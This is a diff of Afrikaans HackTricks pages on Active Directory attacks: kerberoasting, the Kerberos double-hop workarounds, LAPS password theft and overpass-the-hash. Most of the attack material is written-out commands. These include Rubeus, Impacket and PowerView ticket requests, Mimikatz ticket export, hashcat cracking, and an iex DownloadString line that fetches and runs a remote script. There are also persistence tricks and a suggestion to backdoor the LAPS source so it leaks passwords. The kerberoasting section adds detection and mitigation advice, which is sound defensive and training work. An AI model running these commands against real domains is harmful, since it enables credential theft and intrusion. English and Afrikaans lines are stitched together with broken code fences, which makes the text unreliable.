> **Kerberoasting gereedskap** vra tipies **`RC4 kodering`** aan wanneer die aanval uitgevoer word en TGS-REQ versoeke geïnisieer word. Dit is omdat **RC4 is** [**swakker**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) en makliker om offline te kraak met gereedskap soos Hashcat as ander kodering algoritmes soos AES-128 en AES-256.\
> RC4 (tipe 23) hashes begin met **`$krb5tgs$23$*`** terwyl AES-256 (tipe 18) begin met **`$krb5tgs$18$*`**.`
> Boonop, wees versigtig omdat `Rubeus.exe kerberoast` versoeke outomaties oor AL die kwesbare rekeninge doen wat jou sal laat opval. Vind eers kerberoastable gebruikers met interessante voorregte en voer dit dan slegs oor hulle uit.
```bash
#### **Linux**
```bash
# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Metasploit raamwerk
msf> gebruik auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Wag vir wagwoord
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable gebruikers
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes
```
Multi-funksie gereedskap insluitend 'n dump van kerberoastable gebruikers:
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Lys Kerberoastable gebruikers**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
- **Enumerate Kerberoastable users**
```bash
# Kry Kerberoastable gebruikers
setspn.exe -Q */* #Dit is 'n ingeboude binêre. Fokus op gebruikersrekeninge
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **Tegniek 1: Vra vir TGS en dump dit uit geheue**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
- **Technique 1: Ask for TGS and dump it from memory**
```bash
#Kry TGS in geheue van 'n enkele gebruiker
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Voorbeeld: MSSQLSvc/mgmt.domain.local
#Kry TGS's vir ALLE kerberoastable rekeninge (PC's ingesluit, nie regtig slim nie)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
#Lys kerberos kaartjies in geheue
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# Trek hulle uit geheue
Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksporteer kaartjies na huidige gids
# Transform kirbi ticket to john
# Transformeer kirbi kaartjie na john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
# Transformeer john na hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **Tegniek 2: Outomatiese gereedskap**
- **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
# Powerview: Kry Kerberoast-hash van 'n gebruiker
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Gebruik PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Kry alle Kerberoast-hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Spesifieke gebruiker
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Kry van admins
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> Wanneer 'n TGS aangevra word, word Windows gebeurtenis `4769 - 'n Kerberos dienskaartjie is aangevra` gegenereer.
### Kraking
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Volharding
As jy **genoeg regte** oor 'n gebruiker het, kan jy dit **kerberoastable** maak:
### Persistence
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
U kan nuttige **tools** vir **kerberoast** aanvalle hier vind: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
As u hierdie **fout** van Linux kry: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** is dit as gevolg van u plaaslike tyd, u moet die gasheer met die DC sinkroniseer. Daar is 'n paar opsies:
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
- `ntpdate <IP of DC>` - Verouderd sedert Ubuntu 16.04
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### Mitigering
### Mitigation
Kerberoasting kan met 'n hoë graad van stealthiness uitgevoer word as dit eksploiteerbaar is. Om hierdie aktiwiteit te detecteer, moet aandag gegee word aan **Security Event ID 4769**, wat aandui dat 'n Kerberos-tiket aangevra is. egter, as gevolg van die hoë frekwensie van hierdie gebeurtenis, moet spesifieke filters toegepas word om verdagte aktiwiteite te isoleer:
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
- Die diensnaam mag nie **krbtgt** wees nie, aangesien dit 'n normale aanvraag is.
- Diensname wat eindig op **$** moet uitgesluit word om masjienrekeninge wat vir dienste gebruik word, te vermy.
- Aanspreek van masjiene moet gefiltreer word deur rekeningname wat geformateer is as **machine@domain** uit te sluit.
- Slegs suksesvolle tiketaanvrae moet oorweeg word, geïdentifiseer deur 'n mislukkingkode van **'0x0'**.
- **Die belangrikste**, die tiket-enkripsietipe moet **0x17** wees, wat dikwels in Kerberoasting-aanvalle gebruik word.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Om die risiko van Kerberoasting te verminder:
- Verseker dat **Diensrekening Wagwoorde moeilik is om te raai**, met 'n aanbevole lengte van meer as **25 karakters**.
- Gebruik **Geverifieerde Diensrekening**, wat voordele bied soos **outomatiese wagwoordveranderinge** en **gedelegeerde Diens Prinsipaal Naam (SPN) Bestuur**, wat sekuriteit teen sulke aanvalle verbeter.
To mitigate the risk of Kerberoasting:
Deur hierdie maatreëls te implementeer, kan organisasies die risiko wat met Kerberoasting geassosieer word, aansienlik verminder.
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
## Kerberoast sonder domeinrekening
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
In **September 2022** is 'n nuwe manier om 'n stelsel te ontgin, aan die lig gebring deur 'n navorser genaamd Charlie Clark, wat deur sy platform [exploit.ph](https://exploit.ph/) gedeel is. Hierdie metode stel in staat om **Dienskaartjies (ST)** te verkry via 'n **KRB_AS_REQ** versoek, wat merkwaardig nie beheer oor enige Active Directory rekening vereis nie. Essensieel, as 'n prinsiep op so 'n manier opgestel is dat dit nie vooraf-verifikasie vereis nie—'n scenario soortgelyk aan wat in die kuberveiligheidsterrein bekend staan as 'n **AS-REP Roasting aanval**—kan hierdie eienskap benut word om die versoekproses te manipuleer. Spesifiek, deur die **sname** attribuut binne die versoek se liggaam te verander, word die stelsel mislei om 'n **ST** uit te reik eerder as die standaard versleutelde Kaartjie Toekennings Kaartjie (TGT).
## Kerberoast w/o domain account
Die tegniek word volledig in hierdie artikel verduidelik: [Semperis blog pos](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> U moet 'n lys van gebruikers verskaf omdat ons nie 'n geldige rekening het om die LDAP met hierdie tegniek te ondervra nie.
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
#### Linux
- [impacket/GetUserSPNs.py van PR #1413](https://github.com/fortra/impacket/pull/1413):
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
#### Windows
- [GhostPack/Rubeus van PR #139](https://github.com/GhostPack/Rubeus/pull/139):
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## Verwysings
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

View File

@ -1,44 +1,44 @@
# Kerberos Dubbele Hop Probleem
# Kerberos Double Hop Problem
{{#include ../../banners/hacktricks-training.md}}
## Inleiding
## Introduction
Die Kerberos "Dubbele Hop" probleem verskyn wanneer 'n aanvaller probeer om **Kerberos-outeentifikasie oor twee** **hops** te gebruik, byvoorbeeld deur **PowerShell**/**WinRM**.
Die Kerberos "Double Hop" probleem verskyn wanneer 'n aanvaller probeer om **Kerberos-outeentifikasie oor twee** **hops** te gebruik, byvoorbeeld deur **PowerShell**/**WinRM**.
Wanneer 'n **outeentifikasie** deur **Kerberos** plaasvind, word **bewyse** **nie** in **geheue** gebuffer nie. Daarom, as jy mimikatz uitvoer, **sal jy nie bewese** van die gebruiker op die masjien vind nie, selfs al is hy besig om prosesse te loop.
Wanneer 'n **outeentifikasie** deur **Kerberos** plaasvind, word **akkrediteer** **nie** in **geheue** gebuffer nie. Daarom, as jy mimikatz loop, sal jy **nie akkrediteer** van die gebruiker op die masjien vind nie, selfs al is hy besig om prosesse te loop.
Dit is omdat wanneer jy met Kerberos verbind, dit die stappe is:
1. Gebruiker1 verskaf bewese en die **domeinbeheerder** keer 'n Kerberos **TGT** aan Gebruiker1 terug.
1. Gebruiker1 verskaf akkrediteer en die **domeinbeheerder** keer 'n Kerberos **TGT** aan Gebruiker1 terug.
2. Gebruiker1 gebruik **TGT** om 'n **dienskaartjie** aan te vra om met Server1 te **verbinde**.
3. Gebruiker1 **verbinde** met **Server1** en verskaf **dienskaartjie**.
4. **Server1** **het nie** **bewese** van Gebruiker1 gebuffer of die **TGT** van Gebruiker1 nie. Daarom, wanneer Gebruiker1 van Server1 probeer om in te log op 'n tweede bediener, kan hy **nie outentiseer** nie.
4. **Server1** **het nie** **akkrediteer** van Gebruiker1 gebuffer of die **TGT** van Gebruiker1 nie. Daarom, wanneer Gebruiker1 van Server1 probeer om in te log op 'n tweede bediener, kan hy **nie outentifiseer** nie.
### Onbeperkte Afvaardiging
### Unconstrained Delegation
As **onbeperkte afvaardiging** op die rekenaar geaktiveer is, sal dit nie gebeur nie, aangesien die **Bediener** 'n **TGT** van elke gebruiker wat dit toegang, **sal kry**. Boonop, as onbeperkte afvaardiging gebruik word, kan jy waarskynlik die **Domeinbeheerder** daarvan **kompromitteer**.\
[**Meer inligting op die onbeperkte afvaardiging bladsy**](unconstrained-delegation.md).
As **unconstrained delegation** op die PC geaktiveer is, sal dit nie gebeur nie, aangesien die **Server** 'n **TGT** van elke gebruiker wat dit toegang gee, **kry**. Boonop, as unconstrained delegation gebruik word, kan jy waarskynlik die **Domeinbeheerder** daarvan **kompromitteer**.\
[**Meer inligting op die unconstrained delegation bladsy**](unconstrained-delegation.md).
### CredSSP
Nog 'n manier om hierdie probleem te vermy wat [**duidelik onveilig is**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) is **Credential Security Support Provider**. Van Microsoft:
'n Ander manier om hierdie probleem te vermy, wat [**duidelik onveilig is**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), is **Credential Security Support Provider**. Van Microsoft:
> CredSSP-outeentifikasie delegeer die gebruiker se bewese van die plaaslike rekenaar na 'n afstandlike rekenaar. Hierdie praktyk verhoog die sekuriteitsrisiko van die afstandlike operasie. As die afstandlike rekenaar gekompromitteer word, kan die bewese wat aan dit oorgedra word, gebruik word om die netwerk sessie te beheer.
> CredSSP-outeentifikasie delegeer die gebruikersakkrediteer van die plaaslike rekenaar na 'n afstandlike rekenaar. Hierdie praktyk verhoog die sekuriteitsrisiko van die afstandlike operasie. As die afstandlike rekenaar gekompromitteer word, kan die akkrediteer wat aan dit oorgedra word, gebruik word om die netwerk sessie te beheer.
Dit word ten sterkste aanbeveel dat **CredSSP** op produksiesisteme, sensitiewe netwerke en soortgelyke omgewings gedeaktiveer word weens sekuriteitskwessies. Om te bepaal of **CredSSP** geaktiveer is, kan die `Get-WSManCredSSP` opdrag uitgevoer word. Hierdie opdrag stel jou in staat om die **status van CredSSP te kontroleer** en kan selfs op afstand uitgevoer word, mits **WinRM** geaktiveer is.
```powershell
Dit word sterk aanbeveel dat **CredSSP** op produksiesisteme, sensitiewe netwerke en soortgelyke omgewings gedeaktiveer word weens sekuriteitskwessies. Om te bepaal of **CredSSP** geaktiveer is, kan die `Get-WSManCredSSP` opdrag uitgevoer word. Hierdie opdrag stel in staat om die **status van CredSSP te kontroleer** en kan selfs op afstand uitgevoer word, mits **WinRM** geaktiveer is.
```bash
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
```
## Werk rondom
## Workarounds
### Invoke Command
Om die dubbele sprong probleem aan te spreek, word 'n metode met 'n geneste `Invoke-Command` aangebied. Dit los nie die probleem direk op nie, maar bied 'n werk rondom sonder om spesiale konfigurasies te benodig. Die benadering laat toe om 'n opdrag (`hostname`) op 'n sekondêre bediener uit te voer deur 'n PowerShell-opdrag wat vanaf 'n aanvanklike aanvalmasjien of deur 'n voorheen gevestigde PS-sessie met die eerste bediener uitgevoer word. Hier is hoe dit gedoen word:
```powershell
Om die dubbele sprong probleem aan te spreek, word 'n metode met 'n geneste `Invoke-Command` aangebied. Dit los nie die probleem direk op nie, maar bied 'n omseiling sonder die behoefte aan spesiale konfigurasies. Die benadering stel in staat om 'n opdrag (`hostname`) op 'n sekondêre bediener uit te voer deur 'n PowerShell-opdrag wat vanaf 'n aanvanklike aanvalmasjien of deur 'n voorheen gevestigde PS-Sessie met die eerste bediener uitgevoer word. Hier is hoe dit gedoen word:
```bash
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
@ -48,8 +48,8 @@ Alternatiewelik, word daar voorgestel om 'n PS-Session met die eerste bediener t
### Registreer PSSession Konfigurasie
'n Oplossing om die dubbel hop probleem te omseil behels die gebruik van `Register-PSSessionConfiguration` met `Enter-PSSession`. Hierdie metode vereis 'n ander benadering as `evil-winrm` en laat 'n sessie toe wat nie ly aan die dubbel hop beperking nie.
```powershell
'n Oplossing om die dubbel hop probleem te omseil, behels die gebruik van `Register-PSSessionConfiguration` met `Enter-PSSession`. Hierdie metode vereis 'n ander benadering as `evil-winrm` en laat 'n sessie toe wat nie ly aan die dubbel hop beperking nie.
```bash
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@ -57,7 +57,7 @@ klist
```
### PortForwarding
Vir plaaslike administrateurs op 'n intermediêre teiken, laat port forwarding toe dat versoeke na 'n finale bediener gestuur word. Deur `netsh` te gebruik, kan 'n reël vir port forwarding bygevoeg word, saam met 'n Windows-vuurmuurreël om die voortgelei poort toe te laat.
Vir plaaslike administrateurs op 'n intermediêre teiken, laat poortdoorstuur toe dat versoeke na 'n finale bediener gestuur kan word. Deur `netsh` te gebruik, kan 'n reël vir poortdoorstuur bygevoeg word, saam met 'n Windows-vuurmuurreël om die deurgestuurde poort toe te laat.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
@ -70,15 +70,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
Die installering van OpenSSH op die eerste bediener stel 'n omseiling van die dubbel-hop probleem in, wat veral nuttig is vir jump box scenario's. Hierdie metode vereis CLI-installasie en opstelling van OpenSSH vir Windows. Wanneer dit geconfigureer is vir Wagwoordverifikasie, stel dit die intermediêre bediener in staat om 'n TGT namens die gebruiker te verkry.
Die installering van OpenSSH op die eerste bediener maak 'n omseiling vir die double-hop probleem moontlik, wat veral nuttig is vir jump box scenario's. Hierdie metode vereis CLI installasie en opstelling van OpenSSH vir Windows. Wanneer dit geconfigureer is vir Wagwoordverifikasie, laat dit die intermediêre bediener toe om 'n TGT namens die gebruiker te verkry.
#### OpenSSH Installasiestappe
1. Laai die nuutste OpenSSH vrystelling zip af en skuif dit na die teikenbediener.
2. Unzip en voer die `Install-sshd.ps1` skrip uit.
3. Voeg 'n firewall-reël by om poort 22 te open en verifieer dat SSH-dienste aan die gang is.
3. Voeg 'n firewall-reël by om poort 22 te open en verifieer dat SSH dienste aan die gang is.
Om `Connection reset` foute op te los, mag dit nodig wees om toestemmings op te dateer om almal lees- en uitvoertoegang op die OpenSSH-gids toe te laat.
Om `Connection reset` foute op te los, mag dit nodig wees om toestemmings op te dateer om almal lees- en uitvoertoegang op die OpenSSH gids toe te laat.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```

View File

@ -5,9 +5,9 @@
## Basiese Inligting
Local Administrator Password Solution (LAPS) is 'n hulpmiddel wat gebruik word om 'n stelsel te bestuur waar **administrateur wagwoorde**, wat **uniek, ewekansig, en gereeld verander** word, toegepas word op domein-verbonden rekenaars. Hierdie wagwoorde word veilig binne Active Directory gestoor en is slegs toeganklik vir gebruikers wat toestemming ontvang het deur middel van Access Control Lists (ACLs). Die sekuriteit van die wagwoord oordragte van die kliënt na die bediener word verseker deur die gebruik van **Kerberos weergawe 5** en **Advanced Encryption Standard (AES)**.
Local Administrator Password Solution (LAPS) is 'n hulpmiddel wat gebruik word om 'n stelsel te bestuur waar **administrateur wagwoorde**, wat **uniek, ewekansig, en gereeld verander** word, toegepas word op domein-verbonden rekenaars. Hierdie wagwoorde word veilig binne Active Directory gestoor en is slegs toeganklik vir gebruikers wat toestemming gekry het deur Toegangsbeheerlijste (ACLs). Die sekuriteit van die wagwoord oordragte van die kliënt na die bediener word verseker deur die gebruik van **Kerberos weergawe 5** en **Advanced Encryption Standard (AES)**.
In die domein se rekenaarobjekte, lei die implementering van LAPS tot die toevoeging van twee nuwe eienskappe: **`ms-mcs-AdmPwd`** en **`ms-mcs-AdmPwdExpirationTime`**. Hierdie eienskappe stoor die **plank teks administrateur wagwoord** en **sy vervaldatum**, onderskeidelik.
In die domein se rekenaarobjekte, lei die implementering van LAPS tot die toevoeging van twee nuwe eienskappe: **`ms-mcs-AdmPwd`** en **`ms-mcs-AdmPwdExpirationTime`**. Hierdie eienskappe stoor die **planktekst administrateur wagwoord** en **sy vervaldatum**, onderskeidelik.
### Kontroleer of geaktiveer
```bash
@ -24,10 +24,10 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS Wagwoord Toegang
Jy kan die **rauwe LAPS beleid** aflaai van `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` en dan **`Parse-PolFile`** van die [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pakket gebruik om hierdie lêer in 'n mensleesbare formaat om te skakel.
Jy kan die **rauwe LAPS-beleid** aflaai van `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` en dan **`Parse-PolFile`** van die [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) pakket gebruik om hierdie lêer in 'n mensleesbare formaat om te skakel.
Boonop kan die **natuurlike LAPS PowerShell cmdlets** gebruik word as hulle op 'n masjien geïnstalleer is waartoe ons toegang het:
```powershell
```bash
Get-Command *AdmPwd*
CommandType Name Version Source
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView** kan ook gebruik word om uit te vind **wie die wagwoord kan lees en dit te lees**:
```powershell
```bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -58,9 +58,9 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
### LAPSToolkit
Die [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) fasiliteer die enumerasie van LAPS met verskeie funksies.\
Een is om **`ExtendedRights`** te parse vir **alle rekenaars met LAPS geaktiveer.** Dit sal **groepe** spesifiek **gedelegeer om LAPS wagwoorde te lees**, wat dikwels gebruikers in beskermde groepe is.\
'n **rekening** wat **'n rekenaar** aan 'n domein aangesluit het, ontvang `All Extended Rights` oor daardie gasheer, en hierdie reg gee die **rekening** die vermoë om **wagwoorde te lees**. Enumerasie kan 'n gebruikersrekening toon wat die LAPS wagwoord op 'n gasheer kan lees. Dit kan ons help om **spesifieke AD gebruikers** te teiken wat LAPS wagwoorde kan lees.
```powershell
Een is om **`ExtendedRights`** te parse vir **alle rekenaars met LAPS geaktiveer.** Dit sal **groepe** spesifiek **toegewyk aan die lees van LAPS wagwoorde** wys, wat dikwels gebruikers in beskermde groepe is.\
'n **rekening** wat **'n rekenaar** aan 'n domein aangesluit het, ontvang `All Extended Rights` oor daardie gasheer, en hierdie reg gee die **rekening** die vermoë om **wagwoorde** te **lees**. Enumerasie kan 'n gebruikersrekening toon wat die LAPS wagwoord op 'n gasheer kan lees. Dit kan ons help om **spesifieke AD gebruikers** te teiken wat LAPS wagwoorde kan lees.
```bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -89,7 +89,7 @@ As daar geen toegang tot 'n powershell is nie, kan jy hierdie voorreg op afstand
```
crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps
```
Dit sal al die wagwoorde wat die gebruiker kan lees, dump, wat jou in staat stel om 'n beter posisie met 'n ander gebruiker te kry.
Dit sal al die wagwoorde wat die gebruiker kan lees, dump, wat jou toelaat om 'n beter voet in die deur te kry met 'n ander gebruiker.
## ** Gebruik LAPS Wagwoord **
```
@ -103,8 +103,8 @@ Password: 2Z@Ae)7!{9#Cq
### **Vervaldatum**
Sodra jy admin is, is dit moontlik om die **wagwoorde** te **verkry** en 'n masjien te **verhoed** om sy **wagwoord** te **opdateer** deur die vervaldatum in die toekoms te **stel**.
```powershell
Sodra jy admin is, is dit moontlik om die **wagwoorde** te **verkry** en 'n masjien te **verhoed** om sy **wagwoord** te **opdateer** deur die **vervaldatum in die toekoms te stel**.
```bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -115,13 +115,13 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099
> [!WARNING]
> Die wagwoord sal steeds teruggestel word as 'n **admin** die **`Reset-AdmPwdPassword`** cmdlet gebruik; of as **Moet nie wagwoordvervaltyd langer as wat deur beleid vereis word toelaat nie** geaktiveer is in die LAPS GPO.
### Agterdeur
### Backdoor
Die oorspronklike bronkode vir LAPS kan [hier](https://github.com/GreyCorbel/admpwd) gevind word, daarom is dit moontlik om 'n agterdeur in die kode te plaas (binne die `Get-AdmPwdPassword` metode in `Main/AdmPwd.PS/Main.cs` byvoorbeeld) wat op een of ander manier **nuwe wagwoorde sal uitbring of dit êrens sal stoor**.
Die oorspronklike bronkode vir LAPS kan [hier](https://github.com/GreyCorbel/admpwd) gevind word, daarom is dit moontlik om 'n backdoor in die kode te plaas (binne die `Get-AdmPwdPassword` metode in `Main/AdmPwd.PS/Main.cs` byvoorbeeld) wat op een of ander manier **nuwe wagwoorde sal uitbring of dit êrens sal stoor**.
Dan, compileer net die nuwe `AdmPwd.PS.dll` en laai dit op na die masjien in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (en verander die wysigingstyd).
## Verwysings
## References
- [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)

View File

@ -5,9 +5,9 @@
## Overpass The Hash/Pass The Key (PTK)
Die **Overpass The Hash/Pass The Key (PTK)** aanval is ontwerp vir omgewings waar die tradisionele NTLM-protokol beperk is, en Kerberos-outeentiging voorrang geniet. Hierdie aanval benut die NTLM-hash of AES-sleutels van 'n gebruiker om Kerberos-kaarte aan te vra, wat ongeoorloofde toegang tot hulpbronne binne 'n netwerk moontlik maak.
Die **Overpass The Hash/Pass The Key (PTK)** aanval is ontwerp vir omgewings waar die tradisionele NTLM-protokol beperk is, en Kerberos-verifikasie prioriteit geniet. Hierdie aanval benut die NTLM-hash of AES-sleutels van 'n gebruiker om Kerberos-kaarte aan te vra, wat ongeoorloofde toegang tot hulpbronne binne 'n netwerk moontlik maak.
Om hierdie aanval uit te voer, behels die aanvanklike stap die verkryging van die NTLM-hash of wagwoord van die geteikende gebruiker se rekening. Nadat hierdie inligting verkry is, kan 'n Ticket Granting Ticket (TGT) vir die rekening verkry word, wat die aanvaller in staat stel om toegang te verkry tot dienste of masjiene waartoe die gebruiker toestemming het.
